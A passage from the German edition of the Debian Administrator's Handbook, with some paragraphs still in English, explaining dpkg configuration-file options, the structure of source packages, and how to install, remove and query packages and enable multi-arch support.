dpkg erledigt die Aktualisierung von Konfigurationsdateien, unterbricht aber regelmäßig diese Aktionen, um vom Administrator Eingaben zu verlangen. Dies ist für diejenigen, die Aktualisierungen in einer nicht-interaktiven Weise ablaufen lassen möchten, weniger erfreulich. Daher bietet dieses Programm auch Optionen an, die Fragen selbstständig gemäß dieser Logik zu entscheiden: --force-confold behält die alte Dateiversion; --force-confnew verwendet die neue (diese Auswahl wird selbst dann eingehalten, wenn die Datei vom Administrator gar nicht verändert wurde, was nur manchmal den gewünschten Effekt hat). Durch Hinzufügen der Option --force-confdef wird dpkg mitgeteilt, dass es wenn möglich selbst entscheiden soll (anders ausgedrückt, wenn die ursprüngliche Konfigurationsdatei nicht angerührt worden ist), und dass es die Optionen --force-confnew oder --force-confold nur in den anderen Fällen verwenden soll.

Diese Optionen gelten für dpkg und werden ausführlich in dpkg(1) oder dpkg --force-help erläutert, aber meistens wird der Administrator direkt mit den Programmen aptitude oder apt arbeiten. Es ist daher erforderlich, die Syntax zu kennen, die zur Bezeichnung der Optionen verwendet wird, die an dpkg weitergeleitet werden (ihre Befehlszeilen-Schnittstellen sind sehr ähnlich).

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

These options can also be stored directly in apt's configuration. To do so, simply write the following lines in the /etc/apt/apt.conf.d/local file:

Dpkg::Options { "--force-confdef"; "--force-confold"; }

Die Aufnahme dieser Option in die Konfigurationsdatei hat zur Folge, dass sie auch in einer grafischen Schnittstelle wie aptitude verwendet wird.

The control archive frequently contains other files as well, like triggers, shlibs, or symbols. These files are well described in deb-triggers(5), deb-shlibs(5), and deb-symbols(5).

Triggers were introduced to reduce the amount of duplicated events during package installation, such as file registration or catalog/database update tasks. Packages can define their own or activate defined triggers. A more comprehensive documentation can be found in /usr/share/doc/dpkg/triggers.txt.gz.

The shlibs system is an older and simpler alternative to the symbols system for declaring dependencies for shared libraries. It defines the package name and version in which to find a specific SONAME-version of a shared library. The newer symbols system allows to define the dependency by tracking the symbols and when they have been introduced or changed in the library instead.

5.3. Struktur eines Quellpakets

5.3.1. Format

Ein Quellpaket besteht normalerweise aus drei Dateien, einer Datei.dsc, .orig.tar.gz und .debian.tar.xz oder .diff.gz. Diese ermöglichen es, aus dem in einer Programmiersprache geschriebenen Quellcode Binärpakete (.deb-Dateien wie weiter oben beschrieben) für das oder die Programm(e) zu erzeugen.

Die Datei .dsc (Debian Source Control) ist eine kurze Textdatei, die einen RFC 2822 Header enthält (genau wie die in Abschnitt 5.2.1, „Beschreibung: Die control-Datei“ betrachtete Datei control), der das Quellpaket beschreibt und angibt, welche anderen Dateien dazugehören. Sie ist von ihrem Betreuer signiert, wodurch Authentizität gewährleistet ist. Siehe Abschnitt 6.6, „Die Echtheit eines Paketes prüfen“ für weitere Einzelheiten zu diesem Thema.

Beispiel 5.1. Eine .dsc-Datei

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 3.0 (quilt) Source: zim Binary: zim Architecture: all Version: 0.73.5-1 Maintainer: Zim Package Maintainers <zim@packages.debian.org> Uploaders: Raphaël Hertzog <hertzog@debian.org> Homepage: https://zim-wiki.org Standards-Version: 4.5.1 Vcs-Browser: https://salsa.debian.org/debian/zim Vcs-Git: https://salsa.debian.org/debian/zim.git Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python Package-List: zim deb x11 optional arch=all Checksums-Sha1: 80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz Checksums-Sha256: a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz 6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz Files: fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz -----BEGIN PGP SIGNATURE----- Comment: Signed by Raphael Hertzog iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1 L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ== =YFDk -----END PGP SIGNATURE-----

Beachten Sie, dass das Quellpaket ebenfalls Abhängigkeiten (Build-Depends) hat, die jedoch mit denen der Binärpakete nichts gemein haben, da sie die Programme benennen, die erforderlich sind, um die betreffende Software zu kompilieren und sein Binärpaket zu erstellen.

VORSICHT Unterschiedliche Namensräume

Es ist hier wichtig festzustellen, dass die Namen der Quellpakete und der daraus erstellten Binärpakete nicht korrespondieren müssen. Dies ist leicht einzusehen, wenn man weiß, dass jedes Quellpaket verschiedene Binärpakete erzeugen kann. Daher gibt es in der .dsc-Datei Zeilen für Source und Binary, um so ausdrücklich das Quellpaket und eine Reihe von Binärpaketen zu nennen, die es erzeugen soll.

KULTUR Warum in mehrere Pakete aufteilen

Nicht selten kann ein Quellpaket (für eine bestimmte Anwendung) verschiedene Binärpakete erzeugen. Die Aufsplittung angebracht, da Software (oder Teile davon) in unterschiedlichen Zusammenhängen verwendet werden kann. Man denke an eine gemeinsam genutzte Bibliothek, die installiert werden kann, um eine Anwendung zum Laufen zu bringen (zum Beispiel libc6), oder sie kann benutzt werden, um eine neue Anwendung zu entwickeln (dann wäre libc6-dev das richtige Paket). Wir finden den gleichen Gedankengang bei Client/Server-Diensten, bei denen wir den Serverteil auf einem Rechner installieren möchten und den Clientteil auf anderen (dies ist zum Beispiel bei openssh-server und openssh-client der Fall).

Just as frequently, the documentation is provided in a dedicated package: the user may install it independently from the software, and may at any time choose to remove it to save disk space. Additionally, this also saves disk space on the Debian mirrors, since the documentation package will be shared among all of the architectures (instead of having the documentation duplicated in the packages for each architecture).

AUSBLICK Verschiedene Quellpaket-Formate

Ursprünglich gab es nur ein Quellpaket-Format. Dies ist das 1.0-Format, das ein .orig.tar.gz-Archiv einem .diff.gz-„Debianisierungspatch“ zuordnet (es gibt auch eine Variante, die aus einem einzeln .tar.gz-Archiv besteht, das automatisch verwendet wird, wenn kein .orig.tar.gz verfügbar ist).

Seit Debian 6 Squeeze haben Debianentwickler die Möglichkeit, neue Formate zu verwenden, die zahlreiche Probleme des früheren Formats beheben. Format 3.0 (quilt) kann mehrere Ursprungsarchive in einem Quellpaket vereinen: zusätzlich zu den üblichen .orig.tar.gz-Archiven können ergänzende .orig-komponente.tar.gz-Archive eingeschlossen werden. Dies ist bei Software hilfreich, die in Form verschiedener Ursprungskomponenten veröffentlicht wird, für die aber ein einzelnes Quellpaket erwünscht ist. Diese Archive können auch mit xz statt mit gzip komprimiert werden, wodurch Speicherplatz und Netzwerkressourcen gespart werden. Schließlich wurde der monolithische Patch .diff.gz durch ein .debian.tar.xz-Archiv ersetzt, das die Kompilierungsanweisungen enthält und einen Satz von Ursprungspatches, die vom Paketbetreuer beigesteuert wurden. Letztere sind in einem Format aufgezeichnet, das mit quilt kompatibel ist, einem Programm, das die Verwaltung einer Serie von Patches erleichtert.

Die Datei .orig.tar.gz ist ein Archiv, das den Programm-Quellcode enthält, wie er vom ursprünglichen Entwickler bereitgestellt wurde. Debian-Entwickler sind gehalten, dieses Archiv nicht zu verändern, damit es möglich ist, die Herkunft und Integrität der Datei (durch einen einfachen Vergleich mit einer Prüfsumme) zu kontrollieren, und um die Wünsche mancher Autoren zu berücksichtigen.

The .debian.tar.xz contains all of the modifications made by the Debian maintainer, especially the addition of a debian directory containing the instructions to execute to construct one or more Debian binary packages.

HILFSPROGRAMM Ein Quellpaket entpacken

Falls Sie ein Quellpaket haben, können Sie den Befehl dpkg-source (aus dem dpkg-dev-Paket) zum Entpacken verwenden:

$ dpkg-source -x zim_0.73.5-1.dsc dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

Sie können auch apt dazu benutzen, ein Quellpaket herunterzuladen und direkt zu entpacken. Hierzu ist es jedoch erforderlich, dass die entsprechenden deb-src-Zeilen in der Datei /etc/apt/sources.list vorhanden sind (für weitere Einzelheiten siehe Abschnitt 6.1, „Befüllen der sources.list Datei“). Diese dienen dazu, die „Quellen“ der Quellpakete aufzulisten (das heißt, die Server, die eine Gruppe von Quellpaketen beherbergen).

$ apt source package Reading package lists... Done NOTICE: 'zim' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/debian/zim.git Please use: git clone https://salsa.debian.org/debian/zim.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 2,172 kB of source archives. Get:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1,580 B] Get:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2,160 kB] Get:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10.1 kB] Fetched 2,172 kB in 0s (7,176 kB/s) dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Verwendung innerhalb von Debian

The source package is the foundation of everything in Debian. All Debian packages come from a source package, and each modification in a Debian package is the consequence of a modification made to the source package. The Debian maintainers work with the source package, knowing, however, the consequences of their actions on the binary packages. The fruits of their labors are thus found in the source packages available from Debian: you can easily go back to them and everything stems from them. Kapitel 15, Ein Debian-Paket erstellen contains some examples.

When a new version of a source package arrives on the Debian server, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian.

→ https://buildd.debian.org/

WEITERE SCHRITTE Betreuer-Uploads nur der Quellen

Right after the release of Debian 10 Buster the Release Team announced that maintainer binary uploads will no longer be accepted for main and all binary packages in this component must be built automatically from mandatory source-only uploads. While binary uploads are still allowed for the contrib and non-free components, we will not focus on this possibility as it should only be the exception.

5.4. Pakete mit dpkg handhaben

dpkg ist der Grundbefehl zum Umgang mit Debian-Paketen auf dem System. Falls Sie .deb-Pakete haben, ermöglicht dpkg es Ihnen, sie zu installieren oder ihren Inhalt zu analysieren. Aber dieses Programm sieht nur einen begrenzten Ausschnitt des Debian-Universums: Es weiß, was auf dem System installiert ist und was auch immer in der Befehlszeile eingegeben wird, aber es weiß nichts von den anderen verfügbaren Paketen. Daher wird es scheitern, wenn eine Abhängigkeit nicht erfüllt ist. Dagegen erzeugen Programme wie apt und aptitude eine Liste von Abhängigkeiten, um alles soweit möglich automatisch zu installieren.

ANMERKUNG dpkg oder apt?

dpkg sollte als ein Systemprogramm (backend) angesehen werden und apt eher als ein Programm für den Endanwender, das die Einschränkungen des ersteren nicht kennt. Diese Programme arbeiten zusammen, jedes mit seinen Besonderheiten und seiner Eignung für bestimmte Aufgaben.

5.4.1. Pakete installieren

dpkg ist vor allem das Programm zur Installation eines bereits vorhandenen Debian-Pakets (da es nichts herunterlädt). Hierzu verwenden wir seine Option -i oder --install.

Beispiel 5.2. Installation eines Pakets mit dpkg

# dpkg -i man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.8.5-2) ... Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it. Processing triggers for mailcap (3.69) ...

Wir können die verschiedenen von dpkg durchgeführten Schritte sehen; so wissen wir, an welchem Punkt möglicherweise ein Fehler aufgetreten ist. Die Installation kann in zwei Phasen betroffen sein: erstens beim Entpacken und zweitens bei der Konfigurierung. apt nutzt dies, um die Anzahl der Aufrufe von dpkg zu begrenzen (weil jeder Aufruf aufwendig ist, da jedes Mal die Datenbank in den Speicher geladen werden muss, vor allem die Liste der bereits installierten Dateien).

Beispiel 5.3. Getrenntes Entpacken und Konfigurieren

# dpkg --unpack man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.9.4-2) ... Processing triggers for mailcap (3.69) ... # dpkg --configure man-db Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it.

Manchmal wird dpkg bei der Installation eines Pakets scheitern und eine Fehlermeldung ausgeben; falls der Nutzer die Anweisung gibt, ihn zu ignorieren, wird es nur eine Warnung anzeigen; aus diesem Grund haben wir die verschiedenen --force-*-Optionen. Der Befehl dpkg --force-help oder die Dokumentation dieses Befehls zeigt Ihnen eine vollständige Liste dieser Optionen. Der häufigste Fehler, dem Sie früher oder später mit Sicherheit begegnen werden, ist eine Dateikollision. Wenn ein Paket eine Datei enthält, die bereits mit einem anderen Paket installiert worden ist, wird dpkg sich weigern, es zu installieren. In diesem Fall wird dann folgende Meldung erscheinen:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack): trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

Falls Sie in diesem Fall denken, dass das Ersetzen dieser Datei kein wesentliches Risiko für die Stabilität Ihres Systems bedeutet (was normalerweise der Fall ist), können Sie die Option --force-overwrite benutzen, die dpkg anweist, diesen Fehler zu ignorieren und die Datei zu überschreiben.

While there are many available --force-* options, only --force-overwrite is likely to be used regularly. These options only exist for exceptional situations, rarely encountered in Debian Stable. It is better to leave them alone as much as possible in order to respect the rules imposed by the packaging mechanism. Do not forget, these rules ensure the consistency and stability of your system.

VORSICHT Effektive Verwendung von --force-*

Falls Sie nicht vorsichtig sind, kann der Gebrauch einer der --force-*-Optionen zu einem System führen, bei dem die APT-Befehlsfamilie nicht mehr funktioniert. In der Tat erlauben es einige dieser Optionen, ein Paket zu installieren, obwohl eine Abhängigkeit nicht erfüllt ist oder wenn ein Konflikt vorliegt. Das Ergebnis ist ein aus Sicht der Abhängigkeiten inkonsistentes System, und die APT-Befehle werden sich weigern, irgendeine Aktion auszuführen, außer solchen, die das System wieder in einen konsistenten Zustand versetzen (dies geschieht oft dadurch, dass die fehlende Abhängigkeit installiert oder ein problematisches Paket entfernt wird). Häufig führt dies zu einer Meldung wie der folgenden, die angezeigt wurde, nachdem eine neue Version von rdesktop installiert und dabei seine Abhängigkeit von einer neueren Version von libc6 ignoriert wurde:

# apt full-upgrade [...] You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: Unmet dependencies. Try using -f.

Ein mutiger Administrator, der von der Richtigkeit seiner Analyse überzeugt ist, wird sich möglicherweise entscheiden, eine Abhängigkeit oder einen Konflikt zu ignorieren und die entsprechende --force-*-Option verwenden. Falls er in diesem Fall weiterhin in der Lage sein will, apt oder aptitude zu verwenden, muss er /var/lib/dpkg/status editieren, um die Abhängigkeit oder den Konflikt, über den er sich hinweggesetzt hat, zu löschen oder abzuändern.

Diese Manipulation ist ein unschöner Eingriff und sollte nicht benutzt werden oder doch nur im äußersten Notfall. Häufig besteht eine bessere Lösung darin, das Paket, das das Problem verursacht, neu zu kompilieren (siehe Abschnitt 15.1, „Ein Paket aus seinen Quellen neu erstellen“) oder eine neue (möglicherweise korrigierte) Version aus einem Repository wie stable-backports zu verwenden (siehe Abschnitt 6.1.2.4, „Stable Backports“).

5.4.2. Paketentfernung

Der Aufruf von dpkg mit der Option -r oder --remove, gefolgt von dem Paketnamen, entfernt das Paket. Dieses Entfernen ist jedoch nicht vollständig: alle Konfigurationsdateien, Betreuerskripte, Protokolldateien (Systemprotokolle) und andere vom Paket verarbeitete Nutzerdaten bleiben zurück. Es auf diese Weise zu deinstallieren ist schnell erledigt, andererseits bleibt aber die Möglichkeit bestehen, es schnell und mit derselben Konfiguration wieder zu installieren. Um alles, was mit einem Paket in Zusammenhang steht, vollständig zu entfernen, verwenden Sie die Option -P oder --purge, gefolgt von dem Paketnamen.

Beispiel 5.4. Entfernen und vollständiges Löschen des Pakets debian-cd

# dpkg -r debian-cd (Reading database ... 228705 files and directories currently installed.) Removing debian-cd (3.1.35) ... # dpkg -P debian-cd (Reading database ... 228049 files and directories currently installed.) Purging configuration files for debian-cd (3.1.35) ...

5.4.3. Abfragen der Datenbank von dpkg und Untersuchen der .deb-Dateien

ZURÜCK ZU DEN GRUNDLAGEN Optionen-Syntax

Die meisten Optionen gibt es sowohl in einer „langen“ Version (ein oder mehrere einschlägige Wörter mit einem vorangestellten doppelten Bindestrich) als auch in einer „kurzen“ Version (ein einzelner Buchstabe, häufig der Anfangsbuchstabe einer der Wörter der langen Version, mit einem einzelnen vorangestellten Bindestrich). Diese Konvention ist so sehr verbreitet, dass sie zu einem POSIX-Standard wurde.

Before concluding this section, we will study dpkg options that query the internal database in order to obtain information. Giving first the long options and then corresponding short options (that will evidently take the same possible arguments) we cite

--listfiles package (or -L), which lists the files installed by this package;

--search file (or -S), which finds the package(s) containing the file;

--status package (or -s), which displays the headers of an installed package;

--list (or -l), which displays the list of packages known to the system and their installation status;

--contents file.deb (or -c), which lists the files in the Debian package specified;

--info file.deb (or -I), which displays the headers of this Debian package.

VORSICHTdpkg --search und zusammengeführtes /usr

Aus verschiedenen Gründen installiert Debian nun standardmäßig einige Verzeichnisse der obersten Ebene als Symlinks zu ihren Gegenstücken unter /usr. Beispielsweise sind /bin, /sbin und /lib nun Symlinks zu /usr/bin, /usr/sbin und /usr/lib.

Dies bietet zwar wünschenswerte Vorteile, kann aber auch zu Verwirrung führen. Wenn Sie z. B. dpkg abfragen, welches Paket eine bestimmte Datei besitzt, kann es nur antworten, wenn Sie nach dem ursprünglichen Pfad fragen:

$ dpkg --search /bin/mount mount: /bin/mount $ dpkg --search /usr/bin/mount dpkg-query: Kein Pfad gefunden, der auf Muster /usr/bin/mount passt $ dpkg --search /bin/apt dpkg-query: Kein Pfad gefunden, der auf Muster /bin/apt passt $ dpkg --search /usr/bin/apt apt: /usr/bin/apt

This issue is currently tracked as bug #858331. There is also an ongoing discussion if the approach used so far is counterproductive.

→ https://bugs.debian.org/858331

Beispiel 5.5. Verschiedene Anfragen mit dpkg

$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/base-passwd /usr/share/base-passwd/group.master /usr/share/base-passwd/passwd.master /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/README /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/man /usr/share/man/de /usr/share/man/de/man8 /usr/share/man/de/man8/update-passwd.8.gz /usr/share/man/es /usr/share/man/es/man8 /usr/share/man/es/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/man/ja /usr/share/man/ja/man8 /usr/share/man/ja/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 17478 Maintainer: Michael Stone <mstone@debian.org> Architecture: amd64 Multi-Arch: foreign Source: coreutils (8.32-4) Version: 8.32-4+b1 Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libgmp10, libselinux1 (>= 3.1~) Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==========================-==============-============-================================== un backupninja <none> <none> (no description available) un backuppc <none> <none> (no description available) ii baloo-kf5 5.78.0-3 amd64 framework for searching and manag> un balsa <none> <none> (no description available) ii baobab 3.38.0-1 amd64 GNOME disk usage analyzer un base <none> <none> (no description available) un base-config <none> <none> (no description available) ii base-files 11.1 amd64 Debian base system miscellaneous > ii base-passwd 3.5.51 amd64 Debian base system master passwor> ii bash 5.1-2+b1 amd64 GNU Bourne Again SHell [..] $ dpkg -c /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb drwxr-xr-x root/root 0 2021-07-25 20:43 ./ drwxr-xr-x root/root 0 2021-07-25 20:43 ./bin/ -rwxr-xr-x root/root 1234376 2021-07-25 20:43 ./bin/bash drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/ -rw-r--r-- root/root 1994 2021-07-25 20:43 ./etc/bash.bashrc drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/skel/ -rw-r--r-- root/root 220 2021-07-25 20:43 ./etc/skel/.bash_logout -rw-r--r-- root/root 3526 2021-07-25 20:43 ./etc/skel/.bashrc -rw-r--r-- root/root 807 2021-07-25 20:43 ./etc/skel/.profile drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/bin/ -rwxr-xr-x root/root 6759 2021-07-25 20:43 ./usr/bin/bashbug -rwxr-xr-x root/root 14648 2021-07-25 20:43 ./usr/bin/clear_console drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/doc/ [..] $ dpkg -I /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb new Debian package, version 2.0. size 1416600 bytes: control archive=7256 bytes. 77 bytes, 4 lines conffiles 1030 bytes, 27 lines control 4511 bytes, 64 lines md5sums 603 bytes, 31 lines * postinst #!/bin/bash 500 bytes, 25 lines * postrm #!/bin/sh 14536 bytes, 33 lines * preinst 289 bytes, 22 lines * prerm #!/bin/bash Package: bash Source: bash (5.1-3) Version: 5.1-3+b1 Architecture: amd64 Essential: yes Maintainer: Matthias Klose <doko@debian.org> Installed-Size: 6470 Pre-Depends: libc6 (>= 2.25), libtinfo6 (>= 6) Depends: base-files (>= 2.1.12), debianutils (>= 2.15) Recommends: bash-completion (>= 20060301-0) Suggests: bash-doc Conflicts: bash-completion (<< 20060301-0) Replaces: bash-completion (<< 20060301-0), bash-doc (<= 2.05-1) Section: shells Priority: required Multi-Arch: foreign Homepage: http://tiswww.case.edu/php/chet/bash/bashtop.html Description: GNU Bourne Again SHell Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). . Bash is ultimately intended to be a conformant implementation of the IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2). . The Programmable Completion Code, by Ian Macdonald, is now found in the bash-completion package.

WEITERE SCHRITTE Vergleich von Versionen

Da dpkg das Programm zur Handhabung von Debian-Paketen ist, stellt es auch die Referenzanwendung für die Logik zum Vergleich von Versionsnummern bereit. Daher hat es die Option --compare-versions, die von externen Programmen benutzt werden kann (insbesondere von Konfigurationsskripten, die von dpkg selbst ausgeführt werden). Diese Option benötigt drei Parameter: eine Versionsnummer, einen Vergleichsoperator und eine zweite Versionsnummer. Die möglichen Operatoren sind lt (kleiner als), le (kleiner als oder gleich), eq (gleich), ne (ungleich), ge (größer als oder gleich) und gt (größer als). Falls der Vergleich zutrifft, gibt dpkg den Rückgabewert 0 (Erfolg) zurück; anderenfalls gibt es einen von Null verschiedenen Wert zurück (zeigt einen Fehler an).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

Beachten Sie den unerwarteten Fehlschlag des letzten Vergleichs: für dpkg hat pre, das normalerweise eine Vorabveröffentlichung bezeichnet, keine besondere Bedeutung, und es behandelt die Buchstaben in derselben Weise wie die Zahlen (a <_b <_c ...), in alphabetischer Reihenfolge. Daher hält es „0pre3“ für größer als „0“. Wenn wir möchten, dass die Versionsnummer eines Pakets eine Vorabveröffentlichung kennzeichnet, verwenden wir die Tilde „~“:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. dpkgs Protokolldatei

dpkg speichert ein Protokoll über alle seine Aktivitäten in /var/log/dpkg.log. Dieses Protokoll ist äußerst umfangreich, da es jeden einzelnen Schritt aufzeichnet, durch den die von dpkg verarbeiteten Pakete gehen. Zusätzlich zu der Möglichkeit, das Verhalten von dpkg zu verfolgen, hilft es vor allem auch dabei, den Verlauf der Entwicklung des Systems festzuhalten: man kann den genauen Zeitpunkt feststellen, zu dem jedes Paket installiert oder aktualisiert worden ist, und diese Information kann für das Verständnis einer kürzlich aufgetretenen Verhaltensänderung äußerst hilfreich sein. Da alle Versionen aufgezeichnet werden, erleichtert es außerdem eine Gegenprobe mit changelog.Debian.gz für betroffene Pakete oder sogar mit Online-Fehlerberichten.

5.4.5. Multi-Arch Unterstützung

Alle Debian Pakete haben ein Architektur-Feld in ihren Kontrollinformationen. Dieses Feld kann entweder “all” (für Pakete, die architekturunabhängig sind) enthalten oder die Bezeichnung der Ziel-Architektur (wie “amd64”, “armhf”, …). Im letzteren Fall wird dpkg standardmäßig das Paket nur installieren, wenn diese Architekturangabe zu derjenigen des ausführenden Systems passt, wie sie von dpkg --print-architecture zurückgegeben wird.

Diese Einschränkung stellt sicher, dass Anwender nicht am Ende mit einem übersetzten Programm für eine falsche Architektur dastehen. Damit wäre eigentlich alles in bester Ordnung, aber es gibt (einige wenige) Computer, die in der Lage sind, Programme für mehrere Architekturen auszuführen, entweder nativ (ein amd64-System kann "i386"-Code ausführen) oder durch Emulatoren.

5.4.5.1. Multi-Arch einschalten

Die Unterstützung für multi-arch von dpkg ermöglicht es Anwendern, "fremde" Architekturen festzulegen, die auf dem aktullen System installiert werden können. Dazu wird einfach der Befehl dpkg --add-architecture, wie unten gezeigt, aufgerufen. Der korrespondierende Befehl zum Beenden der Unterstützung für die andere Architektur lautet dpkg --remove-architecture, er funktioniert allerdings nur, wenn keine Pakete für diese Architektur mehr in Benutzung sind.

# dpkg --print-architecture amd64 # dpkg --print-foreign-architectures # dpkg -i gcc-9-base_9.3.0-22_armhf.deb dpkg: error processing archive gcc-9-base_9.3.0-22_armhf.deb (--install): package architecture (armhf) does not match system (amd64) Errors were encountered while processing: gcc-9-base_9.3.0-22_armhf.deb # dpkg --add-architecture armhf # dpkg --add-architecture armel # dpkg --print-foreign-architectures armhf armel # dpkg -i gcc-9-base_9.3.0-22_armhf.deb (Reading database ... 456367 files and directories currently installed.) Preparing to unpack gcc-9-base_9.3.0-22_armhf.deb ... Unpacking gcc-9-base:armhf (9.3.0-22) ... Setting up gcc-9-base:armhf (9.3.0-22) ... # dpkg --remove-architecture armhf dpkg: error: cannot remove architecture 'armhf' currently in use by the database # dpkg --remove-architecture armel # dpkg --print-foreign-architectures armhf

Anmerkung die Multi-Arch-Unterstützung von APT

APT erkennt automatisch, wenn die Unterstützung für fremde Architekturen in dpkg konfiguriert ist und wird die dazu passenden Packages-Dateien bei einer Aktualisierung herunterladen.

Architektur-fremde Pakete können dann mit dem Befehl apt install Paket:Architektur installiert werden.

Praktisches Beispiel Verwenden von i386-Programmen unter amd64

Es gibt mehrere Anwendungsfälle für multi-arch, aber die beliebtesten sind die Möglichkeit, (manchmal proprietäre) 32-Bit-Binärdateien (i386) auf 64-Bit-Systemen (amd64) auszuführen und die Möglichkeit, Software für eine Plattform oder eine andere Architektur als die Host-Plattform zu kompilieren.

5.4.5.2. Anpassungen im Hinblick auf Multi-Arch

